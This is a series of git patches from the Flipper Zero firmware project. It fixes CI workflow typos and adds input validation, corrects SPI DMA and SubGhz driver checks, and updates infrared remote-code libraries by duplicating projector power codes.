100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -148,14 +148,14 @@ jobs: - [☁️ Web/App updater](https://lab.flipper.net/?url=https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.branch_name}}/flipper-z-${{steps.names.outputs.default_target}}-update-${{steps.names.outputs.suffix}}.tgz&channel=${{steps.names.outputs.branch_name}}&version=${{steps.names.outputs.commit_sha}}) edit-mode: replace - - name: 'SDK submission to dev catalog' + - name: 'SDK submission to staging catalog' if: ${{ steps.names.outputs.event_type == 'tag' && matrix.target == env.DEFAULT_TARGET }} uses: ./.github/actions/submit_sdk with: catalog-url: ${{ secrets.CATALOG_STAGING_URL }} catalog-api-token: ${{ secrets.CATALOG_STAGING_API_TOKEN }} firmware-api: ${{ steps.build-fw.outputs.firmware_api }} - firwmare-target: ${{ matrix.target }} + firmware-target: ${{ matrix.target }} firmware-version: ${{ steps.names.outputs.suffix }} - name: 'SDK submission to prod catalog' From f0f2a6c11fb6a7819c0a57b59b2e713d8fea493b Mon Sep 17 00:00:00 2001 From: hedger Date: Tue, 12 Sep 2023 12:24:44 +0300 Subject: [PATCH 06/40] github: typo fix (#3070) * github: typo fix * github: sdk action: added validation for action inputs * github: sdk action: 10+ rcs --- .github/actions/submit_sdk/action.yml | 29 ++++++++++++++++++++++++--- .github/workflows/build.yml | 2 +- 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/.github/actions/submit_sdk/action.yml b/.github/actions/submit_sdk/action.yml index 5de5d3d8fb..269185d5ad 100644 --- a/.github/actions/submit_sdk/action.yml +++ b/.github/actions/submit_sdk/action.yml @@ -5,10 +5,10 @@ description: | inputs: catalog-url: - description: The URL of the Catalog API + description: The URL of the Catalog API. Must not be empty or end with a /. required: true catalog-api-token: - description: The token to use to authenticate with the Catalog API + description: The token to use to authenticate with the Catalog API. Must not be empty. required: true firmware-api: description: Fimware's API version, major.minor @@ -17,12 +17,35 @@ inputs: description: Firmware's target, e.g. f7/f18 required: true firmware-version: - description: Firmware's version, e.g. 0.13.37-rc3 + description: Firmware's version, e.g. 0.13.37-rc3, or 0.13.37 required: true runs: using: composite steps: + - name: Check inputs + shell: bash + run: | + if [ -z "${{ inputs.catalog-url }}" ] ; then + echo "Invalid catalog-url: ${{ inputs.catalog-url }}" + exit 1 + fi + if [ -z "${{ inputs.catalog-api-token }}" ] ; then + echo "Invalid catalog-api-token: ${{ inputs.catalog-api-token }}" + exit 1 + fi + if ! echo "${{ inputs.firmware-api }}" | grep -q "^[0-9]\+\.[0-9]\+$" ; then + echo "Invalid firmware-api: ${{ inputs.firmware-api }}" + exit 1 + fi + if ! echo "${{ inputs.firmware-target }}" | grep -q "^f[0-9]\+$" ; then + echo "Invalid firmware-target: ${{ inputs.firmware-target }}" + exit 1 + fi + if ! echo "${{ inputs.firmware-version }}" | grep -q "^[0-9]\+\.[0-9]\+\.[0-9]\+\(-rc\)\?\([0-9]\+\)\?$" ; then + echo "Invalid firmware-version: ${{ inputs.firmware-version }}" + exit 1 + fi - name: Submit SDK shell: bash run: | diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 84e89059ef..7a71888379 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -165,5 +165,5 @@ jobs: catalog-url: ${{ secrets.CATALOG_URL }} catalog-api-token: ${{ secrets.CATALOG_API_TOKEN }} firmware-api: ${{ steps.build-fw.outputs.firmware_api }} - firwmare-target: ${{ matrix.target }} + firmware-target: ${{ matrix.target }} firmware-version: ${{ steps.names.outputs.suffix }} From ac892f3d03f4e1b2b5a280805f34f23dc8d8f41a Mon Sep 17 00:00:00 2001 From: Max Andreev Date: Thu, 14 Sep 2023 12:15:20 +0300 Subject: [PATCH 07/40] Fix DMA SPI memory increment define (#3075) --- firmware/targets/f7/furi_hal/furi_hal_spi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_spi.c b/firmware/targets/f7/furi_hal/furi_hal_spi.c index 17769832b6..a8884105aa 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_spi.c +++ b/firmware/targets/f7/furi_hal/furi_hal_spi.c @@ -283,7 +283,7 @@ bool furi_hal_spi_bus_trx_dma( if(tx_buffer == NULL) { // RX mode, use dummy data instead of TX buffer tx_buffer = (uint8_t*)&dma_dummy_u32; - tx_mem_increase_mode = LL_DMA_PERIPH_NOINCREMENT; + tx_mem_increase_mode = LL_DMA_MEMORY_NOINCREMENT; } else { tx_mem_increase_mode = LL_DMA_MEMORY_INCREMENT; } @@ -373,4 +373,4 @@ bool furi_hal_spi_bus_trx_dma( furi_check(furi_semaphore_release(spi_dma_lock) == FuriStatusOk); return ret; -} \ No newline at end of file +} From 25af13e9988e1d7db0afa184381a0bc40d0b3b3e Mon Sep 17 00:00:00 2001 From: Skorpionm <85568270+Skorpionm@users.noreply.github.com> Date: Thu, 14 Sep 2023 13:27:01 +0400 Subject: [PATCH 08/40] SubGhz: Fix CLI subghz chat (#3073) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- applications/drivers/subghz/cc1101_ext/cc1101_ext.c | 2 +- firmware/targets/f7/furi_hal/furi_hal_subghz.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/drivers/subghz/cc1101_ext/cc1101_ext.c b/applications/drivers/subghz/cc1101_ext/cc1101_ext.c index 4fb249c6dd..c708316288 100644 --- a/applications/drivers/subghz/cc1101_ext/cc1101_ext.c +++ b/applications/drivers/subghz/cc1101_ext/cc1101_ext.c @@ -333,7 +333,7 @@ bool subghz_device_cc1101_ext_rx_pipe_not_empty() { (CC1101_STATUS_RXBYTES) | CC1101_BURST, (uint8_t*)status); furi_hal_spi_release(subghz_device_cc1101_ext->spi_bus_handle); - if((status->NUM_RXBYTES > 0) || (status->RXFIFO_OVERFLOW == 0)) { + if(status->NUM_RXBYTES > 0) { return true; } else { return false; diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index bd724f0bf4..ac71b5f6c7 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -207,7 +207,7 @@ bool furi_hal_subghz_rx_pipe_not_empty() { cc1101_read_reg( &furi_hal_spi_bus_handle_subghz, (CC1101_STATUS_RXBYTES) | CC1101_BURST, (uint8_t*)status); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - if((status->NUM_RXBYTES > 0) || (status->RXFIFO_OVERFLOW == 0)) { + if(status->NUM_RXBYTES > 0) { return true; } else { return false; From ee24e4eb487515a7ac8eb9a442fa9ec383a3d376 Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Thu, 14 Sep 2023 20:09:21 +0100 Subject: [PATCH 09/40] Update tv.ir No new additions --- assets/resources/infrared/assets/tv.ir | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index 1b4eab6e81..6142663b8a 100755 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 1st Sept, 2023 -# Last Checked 1st Sept, 2023 +# Last Checked 14th Sept, 2023 # name: Power type: parsed From e68ee9b47c1aed0696735de75063d86400ea2f15 Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Thu, 14 Sep 2023 20:09:40 +0100 Subject: [PATCH 10/40] Update audio.ir No new additions --- assets/resources/infrared/assets/audio.ir | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index 2f44cf926f..d3e45c34e6 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 1st Sept, 2023 -# Last Checked 1st Sept, 2023 +# Last Checked 14th Sept, 2023 # name: Power type: parsed From 5901720681a4eea7122b598d8d506cc8f090dcd5 Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Thu, 14 Sep 2023 20:10:48 +0100 Subject: [PATCH 11/40] Update fans.ir 1 New addition --- assets/resources/infrared/assets/fans.ir | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/assets/resources/infrared/assets/fans.ir b/assets/resources/infrared/assets/fans.ir index 6b728f7087..e560e1c786 100644 --- a/assets/resources/infrared/assets/fans.ir +++ b/assets/resources/infrared/assets/fans.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -#Last Updated 1st Sept, 2023 -#Last Checked 1st Sept, 2023 +#Last Updated 14th Sept, 2023 +#Last Checked 14th Sept, 2023 # name: Power type: raw @@ -1989,3 +1989,9 @@ type: raw frequency: 38000 duty_cycle: 0.33 data: 8993 4485 589 1651 589 529 590 529 591 530 590 530 589 530 590 531 589 530 589 531 589 1649 590 1650 589 1649 590 1650 589 1651 588 1649 590 1650 589 1654 585 1650 589 1651 588 1650 590 533 586 531 588 532 588 530 590 530 590 532 587 531 588 530 589 1650 589 1650 589 1652 587 1651 588 1651 588 1650 589 1650 589 1652 587 530 590 530 589 530 589 531 588 531 588 531 588 530 589 531 588 1651 588 1650 590 1651 589 1651 589 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2280 776 785 1565 783 796 782 790 783 1549 783 810 752 805 752 800 752 858 752 830 752 826 776 797 775 793 774 789 773 810 747 805 747 102605 2223 832 752 1595 753 825 752 820 752 1581 752 811 751 806 751 802 750 860 750 833 775 804 773 799 773 795 773 790 773 785 772 780 773 From 931f4464c2d1fc91ee3a1c256a91e4f9cdc807ca Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Thu, 14 Sep 2023 20:12:14 +0100 Subject: [PATCH 12/40] Update projectors.ir Temporary power fix --- .../resources/infrared/assets/projectors.ir | 338 +++++++++++++++++- 1 file changed, 335 insertions(+), 3 deletions(-) diff --git a/assets/resources/infrared/assets/projectors.ir b/assets/resources/infrared/assets/projectors.ir index b33be06817..46e6abd7d7 100644 --- a/assets/resources/infrared/assets/projectors.ir +++ b/assets/resources/infrared/assets/projectors.ir @@ -1,7 +1,9 @@ Filetype: IR library file Version: 1 -# Last Updated 1st Sept, 2023 -# Last Checked 1st Sept, 2023 +# Last Updated 14th Sept, 2023 +# Last Checked 14th Sept, 2023 +# +# TEMPORARY POWER FIX EDITION (All power buttons duplicated for a double press) # # ON name: Power @@ -9,6 +11,12 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 310 27591 171 27662 241 27731 307 27575 107 27749 306 27551 130 55520 243 27614 217 55584 129 27743 119 27756 115 27747 163 27712 308 27502 243 27650 217 27732 175 27693 167 27698 166 27689 171 27622 215 27712 133 27658 216 27716 129 27732 162 27698 305 27571 131 27753 310 27570 170 27707 162 27707 175 10960 9194 4518 618 542 618 543 725 434 672 1623 671 1647 646 514 592 568 592 568 592 1702 592 568 592 567 593 1702 592 568 618 1676 618 1676 618 1676 618 543 617 543 617 543 617 1677 617 544 616 544 616 544 616 544 616 1678 616 1678 616 1678 616 544 616 1678 616 1679 615 1678 616 1678 616 40239 9196 2250 617 +# ON +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 310 27591 171 27662 241 27731 307 27575 107 27749 306 27551 130 55520 243 27614 217 55584 129 27743 119 27756 115 27747 163 27712 308 27502 243 27650 217 27732 175 27693 167 27698 166 27689 171 27622 215 27712 133 27658 216 27716 129 27732 162 27698 305 27571 131 27753 310 27570 170 27707 162 27707 175 10960 9194 4518 618 542 618 543 725 434 672 1623 671 1647 646 514 592 568 592 568 592 1702 592 568 592 567 593 1702 592 568 618 1676 618 1676 618 1676 618 543 617 543 617 543 617 1677 617 544 616 544 616 544 616 544 616 1678 616 1678 616 1678 616 544 616 1678 616 1679 615 1678 616 1678 616 40239 9196 2250 617 # name: Vol_up type: parsed @@ -34,6 +42,12 @@ protocol: NEC address: 08 00 00 00 command: 0B 00 00 00 # +name: Power +type: parsed +protocol: NEC +address: 08 00 00 00 +command: 0B 00 00 00 +# name: Vol_dn type: parsed protocol: NEC @@ -71,6 +85,18 @@ address: 08 13 00 00 command: 87 78 00 00 # name: Power +type: parsed +protocol: NECext +address: 08 13 00 00 +command: 87 78 00 00 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9055 4338 672 1551 669 1553 618 1603 619 481 617 482 616 481 617 507 591 1605 645 479 619 1577 645 1578 644 1578 644 479 619 480 618 1581 641 480 617 1605 617 1606 616 1606 615 483 615 1608 614 484 614 484 614 484 614 484 614 484 614 484 614 1609 614 484 614 1609 614 1609 613 1609 613 40058 9000 2068 614 95467 9022 2068 614 +# +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 @@ -124,6 +150,18 @@ protocol: NEC address: 02 00 00 00 command: 1D 00 00 00 # +name: Power +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1D 00 00 00 +# +# ON +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9096 4436 620 505 647 478 648 501 623 1599 647 1624 623 502 623 503 621 504 619 1628 618 507 617 507 617 1630 617 508 616 1630 617 1630 617 1631 616 508 616 508 617 508 616 1631 616 508 617 508 617 508 616 508 616 1630 616 1630 616 1631 616 508 616 1630 617 1630 617 1630 617 1631 617 509 616 508 616 509 616 509 616 509 616 509 615 509 616 508 617 1631 616 1631 615 1631 616 1631 616 1631 616 1631 616 1631 615 1631 616 14435 9093 2186 615 96359 9095 2184 617 # ON name: Power type: raw @@ -155,6 +193,12 @@ frequency: 38000 duty_cycle: 0.330000 data: 9014 4332 661 1570 661 471 660 473 658 474 657 476 655 498 633 498 634 502 633 499 633 1599 632 1599 632 1599 632 1599 632 1599 632 1600 631 1603 632 500 632 501 631 501 631 501 631 501 631 501 631 1601 631 504 631 1601 631 1601 631 1601 631 1601 631 1601 630 1601 630 501 631 1601 631 38177 8983 2149 630 # +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9014 4332 661 1570 661 471 660 473 658 474 657 476 655 498 633 498 634 502 633 499 633 1599 632 1599 632 1599 632 1599 632 1599 632 1600 631 1603 632 500 632 501 631 501 631 501 631 501 631 501 631 1601 631 504 631 1601 631 1601 631 1601 631 1601 631 1601 630 1601 630 501 631 1601 631 38177 8983 2149 630 +# name: Vol_up type: parsed protocol: NEC @@ -183,7 +227,7 @@ name: Power type: raw frequency: 38000 duty_cycle: 0.330000 -data: 529 7218 126 6585 219 703 180 5362 427 18618 177 +data: 3522 1701 472 426 444 1269 472 426 444 426 443 427 443 427 443 426 444 427 443 426 444 427 442 428 441 429 440 431 438 1304 437 433 437 433 438 433 437 433 437 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 1305 436 434 436 434 436 1305 436 435 435 435 435 435 435 435 435 435 435 435 435 435 435 459 411 459 411 459 411 1330 411 1330 411 1330 411 1330 411 1330 411 460 410 459 411 459 411 1330 411 1330 411 460 410 1330 411 1330 411 1331 410 1330 411 74392 3516 1736 436 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 434 436 433 437 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 435 435 1305 436 435 435 435 435 1306 435 435 435 435 435 435 435 436 434 436 434 436 434 435 435 436 434 436 434 436 434 1330 411 1331 410 1330 411 1330 411 1330 411 459 411 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74392 3515 1736 437 433 437 1304 437 433 437 433 437 434 436 433 437 434 436 433 437 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 435 436 434 436 1306 435 435 435 435 435 1306 435 435 435 435 435 435 435 435 435 435 435 436 434 436 434 435 435 436 434 435 435 1306 435 1330 411 1307 434 1331 410 1308 433 436 434 436 434 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74392 3515 1736 437 433 437 1304 437 434 436 433 437 434 436 433 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 435 435 434 436 434 436 434 436 434 436 434 436 1306 435 435 435 435 435 435 435 1306 435 435 435 436 434 1306 435 435 435 436 434 436 434 435 435 436 434 436 434 460 410 460 410 460 410 460 410 1331 410 1331 410 1331 410 1331 410 1331 410 460 410 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74392 3515 1736 437 433 437 1304 437 433 437 434 436 434 436 433 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 434 436 434 436 435 435 435 435 434 436 1306 435 434 436 435 435 435 435 1306 435 436 434 435 435 1306 435 435 435 436 434 436 434 436 434 436 434 460 410 437 433 459 411 460 410 460 410 1331 410 1331 410 1331 410 1331 410 1331 410 460 410 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74393 3514 1736 437 434 436 1304 437 433 437 434 436 433 437 434 436 433 437 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 434 436 435 435 434 436 434 436 435 435 434 436 1305 436 435 435 435 435 435 435 1306 435 435 435 435 435 1306 435 435 435 436 434 435 435 459 411 436 434 435 435 459 411 459 411 459 411 459 411 1330 411 1306 435 1330 411 1330 411 1331 410 460 410 460 410 460 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 # name: Vol_up type: raw @@ -208,6 +252,18 @@ type: parsed protocol: NECext address: 83 F4 00 00 command: 4F B0 00 00 +# ON +name: Power +type: parsed +protocol: NECext +address: 83 F4 00 00 +command: 4F B0 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 80 19 00 00 +command: 10 EF 00 00 # name: Power type: parsed @@ -235,6 +291,12 @@ command: 51 00 00 00 # name: Power type: parsed +protocol: NEC +address: 80 00 00 00 +command: 51 00 00 00 +# +name: Power +type: parsed protocol: NECext address: 40 40 00 00 command: 0A F5 00 00 @@ -242,6 +304,18 @@ command: 0A F5 00 00 name: Power type: parsed protocol: NECext +address: 40 40 00 00 +command: 0A F5 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 4E B1 00 00 +# +name: Power +type: parsed +protocol: NECext address: 00 30 00 00 command: 4E B1 00 00 # @@ -263,6 +337,12 @@ protocol: NECext address: 00 30 00 00 command: 4F B0 00 00 # +name: Power +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 4F B0 00 00 +# name: Mute type: parsed protocol: NECext @@ -275,6 +355,12 @@ protocol: NECext address: 08 16 00 00 command: 87 78 00 00 # +name: Power +type: parsed +protocol: NECext +address: 08 16 00 00 +command: 87 78 00 00 +# name: Mute type: parsed protocol: NECext @@ -287,6 +373,12 @@ protocol: NEC address: 01 00 00 00 command: 01 00 00 00 # +name: Power +type: parsed +protocol: NEC +address: 01 00 00 00 +command: 01 00 00 00 +# name: Mute type: parsed protocol: NEC @@ -314,6 +406,18 @@ command: 0B F4 00 00 name: Power type: parsed protocol: NECext +address: 84 F4 00 00 +command: 0B F4 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 33 00 00 00 +command: 00 FF 00 00 +# +name: Power +type: parsed +protocol: NECext address: 33 00 00 00 command: 00 FF 00 00 # @@ -341,6 +445,12 @@ protocol: NECext address: 83 55 00 00 command: 90 6F 00 00 # +name: Power +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 6F 00 00 +# name: Vol_dn type: parsed protocol: NECext @@ -359,6 +469,12 @@ protocol: NECext address: 00 DF 00 00 command: 1C E3 00 00 # +name: Power +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 1C E3 00 00 +# name: Vol_dn type: parsed protocol: NECext @@ -381,6 +497,18 @@ name: Power type: parsed protocol: NEC address: 32 00 00 00 +command: 02 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 32 00 00 00 +command: 2E 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 32 00 00 00 command: 2E 00 00 00 # name: Mute @@ -395,6 +523,12 @@ protocol: NEC address: 20 00 00 00 command: 41 00 00 00 # +name: Power +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 41 00 00 00 +# name: Vol_up type: parsed protocol: NEC @@ -419,6 +553,12 @@ protocol: SIRC15 address: 54 00 00 00 command: 15 00 00 00 # +name: Power +type: parsed +protocol: SIRC15 +address: 54 00 00 00 +command: 15 00 00 00 +# name: Vol_up type: parsed protocol: NECext @@ -447,6 +587,18 @@ name: Power type: parsed protocol: NEC address: 31 00 00 00 +command: 91 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 31 00 00 00 +command: 90 00 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 31 00 00 00 command: 90 00 00 00 # name: Vol_up @@ -467,6 +619,12 @@ protocol: NECext address: 86 00 00 00 command: 00 00 00 00 # +name: Power +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 00 00 00 00 +# name: Vol_up type: parsed protocol: NECext @@ -494,6 +652,18 @@ command: 00 00 00 00 name: Power type: parsed protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0D 00 00 00 +# +name: Power +type: parsed +protocol: NECext address: 87 4E 00 00 command: 0D 00 00 00 # @@ -503,6 +673,12 @@ frequency: 38000 duty_cycle: 0.330000 data: 9032 4479 597 560 572 558 564 566 566 1666 589 1671 594 562 570 560 562 568 564 1669 596 560 562 568 564 1669 596 560 562 1671 594 1666 588 1671 594 562 570 560 562 568 564 1669 596 560 562 568 564 566 566 563 569 1664 591 1669 596 1664 590 565 567 1667 598 1661 593 1666 588 1671 594 562 570 560 562 568 564 565 567 563 569 560 562 568 564 565 567 1666 588 1671 594 1665 589 1670 595 1665 590 1669 596 1664 590 1668 597 13983 9029 2222 599 96237 9030 2221 589 96244 9034 2217 594 96244 9033 2218 592 96249 9038 2213 597 96239 9037 2214 596 96238 9028 2223 598 96221 9032 2215 595 # +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9032 4479 597 560 572 558 564 566 566 1666 589 1671 594 562 570 560 562 568 564 1669 596 560 562 568 564 1669 596 560 562 1671 594 1666 588 1671 594 562 570 560 562 568 564 1669 596 560 562 568 564 566 566 563 569 1664 591 1669 596 1664 590 565 567 1667 598 1661 593 1666 588 1671 594 562 570 560 562 568 564 565 567 563 569 560 562 568 564 565 567 1666 588 1671 594 1665 589 1670 595 1665 590 1669 596 1664 590 1668 597 13983 9029 2222 599 96237 9030 2221 589 96244 9034 2217 594 96244 9033 2218 592 96249 9038 2213 597 96239 9037 2214 596 96238 9028 2223 598 96221 9032 2215 595 +# name: Vol_up type: raw frequency: 38000 @@ -538,6 +714,18 @@ type: parsed protocol: NECext address: 83 F4 00 00 command: 4E B1 00 00 +# OFF +name: Power +type: parsed +protocol: NECext +address: 83 F4 00 00 +command: 4E B1 00 00 +# +name: Power +type: parsed +protocol: NEC +address: 03 00 00 00 +command: 1D 00 00 00 # name: Power type: parsed @@ -562,6 +750,18 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 9075 4307 677 433 675 456 651 461 651 1579 650 1576 649 459 649 460 648 465 648 1578 647 461 622 491 622 1604 647 465 647 1583 622 1608 647 1579 647 461 647 466 622 1604 647 465 647 1579 647 461 645 463 648 465 648 1583 646 1580 646 466 647 1579 622 491 647 1583 622 1608 647 1579 647 461 647 461 622 486 622 486 647 461 647 462 646 462 622 491 646 1584 622 1608 647 1584 621 1608 647 1583 646 1584 647 1584 646 1592 622 14330 9047 2137 621 +# OFF +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9075 4307 677 433 675 456 651 461 651 1579 650 1576 649 459 649 460 648 465 648 1578 647 461 622 491 622 1604 647 465 647 1583 622 1608 647 1579 647 461 647 466 622 1604 647 465 647 1579 647 461 645 463 648 465 648 1583 646 1580 646 466 647 1579 622 491 647 1583 622 1608 647 1579 647 461 647 461 622 486 622 486 647 461 647 462 646 462 622 491 646 1584 622 1608 647 1584 621 1608 647 1583 646 1584 647 1584 646 1592 622 14330 9047 2137 621 +# +name: Power +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 # name: Power type: parsed @@ -597,6 +797,18 @@ name: Power type: raw frequency: 38000 duty_cycle: 0.330000 +data: 3523 1701 472 426 444 1269 472 426 444 426 442 429 443 427 443 426 444 426 444 426 443 427 442 429 440 430 439 432 438 1304 437 433 437 432 438 432 438 433 437 433 437 433 437 433 437 433 437 433 437 1304 437 433 437 433 437 433 437 1304 437 433 437 433 437 1304 437 433 437 434 436 433 437 434 436 434 436 434 436 433 437 433 437 434 436 1304 437 1305 436 1305 436 1305 436 1305 436 1305 436 434 436 434 436 1305 436 1305 436 1305 436 434 436 1305 436 1305 436 1306 435 1306 435 74393 3515 1736 437 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 434 436 433 437 434 436 434 436 1304 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 1305 436 434 436 434 436 1306 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 436 434 435 435 1307 434 1331 410 1307 434 1307 434 1330 411 1307 434 460 410 460 410 1331 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74393 3515 1736 437 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 434 436 434 436 433 437 433 437 1304 437 434 436 434 436 434 437 434 436 434 436 434 436 434 436 434 436 434 436 1305 436 434 436 434 436 434 436 1305 436 435 435 434 436 1305 436 434 436 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 1307 434 1306 435 1307 434 1307 434 1307 434 1331 410 460 410 460 410 1331 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 74393 3515 1736 437 433 437 1304 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 433 437 434 436 433 437 1304 437 433 437 434 436 434 436 434 436 434 436 434 436 434 436 434 436 434 437 1305 436 434 436 434 436 434 436 1305 436 434 436 434 436 1306 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 435 1307 434 1330 411 1330 411 1330 411 1330 411 1330 411 460 410 460 410 1331 410 1331 410 1331 410 460 410 1331 410 1331 410 1331 410 1331 410 +# OFF +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9093 4441 620 507 618 530 594 531 593 1652 595 1653 620 505 620 505 619 506 617 1630 616 508 616 508 616 1632 615 509 615 1631 616 1632 615 1632 615 510 615 509 615 1632 615 509 615 1632 615 510 615 510 614 509 615 1632 614 1633 614 509 615 1633 614 509 615 1632 615 1632 614 1633 614 510 614 510 615 510 615 510 614 510 614 510 615 510 615 510 614 1632 615 1632 614 1632 615 1632 615 1632 615 1632 615 1632 615 1633 614 14439 9088 2192 614 96349 9112 2190 616 +# OFF +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 data: 9093 4441 620 507 618 530 594 531 593 1652 595 1653 620 505 620 505 619 506 617 1630 616 508 616 508 616 1632 615 509 615 1631 616 1632 615 1632 615 510 615 509 615 1632 615 509 615 1632 615 510 615 510 614 509 615 1632 614 1633 614 509 615 1633 614 509 615 1632 615 1632 614 1633 614 510 614 510 615 510 615 510 614 510 614 510 615 510 615 510 614 1632 615 1632 614 1632 615 1632 615 1632 615 1632 615 1632 615 1633 614 14439 9088 2192 614 96349 9112 2190 616 # OFF name: Power @@ -604,6 +816,12 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 243 27700 170 27632 246 27694 282 27595 307 27497 241 27696 177 27710 164 27644 245 27629 246 27712 174 27638 211 27736 131 27741 306 27504 214 27727 135 27749 132 27761 126 27744 131 27753 127 27764 121 27767 132 27773 307 27577 131 27706 213 27761 129 27759 128 27770 125 27694 213 27751 307 27578 131 27737 131 27745 304 27575 335 27540 124 27752 132 27749 132 27747 134 27757 134 27758 127 27762 131 27748 131 27750 122 27749 130 27748 125 27772 131 27774 136 27762 135 27686 215 27742 131 27749 132 27756 133 27764 126 24073 9255 4460 672 488 618 541 619 541 619 1675 619 1676 618 542 618 542 618 542 618 1676 618 542 618 543 617 1678 616 568 592 1702 592 1702 592 1703 617 543 617 543 617 1677 617 543 617 1678 615 544 616 544 616 544 616 1678 616 1679 615 544 616 1679 615 545 615 1679 615 1679 615 1679 615 40240 9173 2273 591 +# OFF +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 243 27700 170 27632 246 27694 282 27595 307 27497 241 27696 177 27710 164 27644 245 27629 246 27712 174 27638 211 27736 131 27741 306 27504 214 27727 135 27749 132 27761 126 27744 131 27753 127 27764 121 27767 132 27773 307 27577 131 27706 213 27761 129 27759 128 27770 125 27694 213 27751 307 27578 131 27737 131 27745 304 27575 335 27540 124 27752 132 27749 132 27747 134 27757 134 27758 127 27762 131 27748 131 27750 122 27749 130 27748 125 27772 131 27774 136 27762 135 27686 215 27742 131 27749 132 27756 133 27764 126 24073 9255 4460 672 488 618 541 619 541 619 1675 619 1676 618 542 618 542 618 542 618 1676 618 542 618 543 617 1678 616 568 592 1702 592 1702 592 1703 617 543 617 543 617 1677 617 543 617 1678 615 544 616 544 616 544 616 1678 616 